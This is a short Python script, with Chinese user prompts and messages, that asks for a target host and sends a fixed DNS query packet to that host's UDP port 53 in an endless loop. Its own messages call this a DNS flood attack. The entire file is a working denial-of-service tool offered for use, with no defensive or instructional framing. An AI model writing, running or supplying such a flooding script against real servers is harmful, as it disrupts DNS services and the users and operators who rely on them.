import socket

# Input target host
target_host = input("请输入目标主机: ")
# Default target port
target_port = 53  # DNS port

# Construct DNS query packet
dns_query = b"\x00\x01\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x07example\x03com\x00\x00\x01\x00\x01"

# Send DNS query packet
def send_dns_query():
    try:
        # Create UDP socket
        client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        # Send packet
        client.sendto(dns_query, (target_host, target_port))
        # Close socket connection
        client.close()
        print("[+] DNS查询数据包发送到 %s:%d" % (target_host, target_port))
    except Exception as e:
        print("[-] 发送DNS查询数据包时出错: %s" % str(e))

# Continuously send DNS query packets
def dns_flood():
    try:
        while True:
            send_dns_query()
    except KeyboardInterrupt:
        print("[!] 收到键盘中断，停止DNS洪水攻击。")

if __name__ == "__main__":
    dns_flood()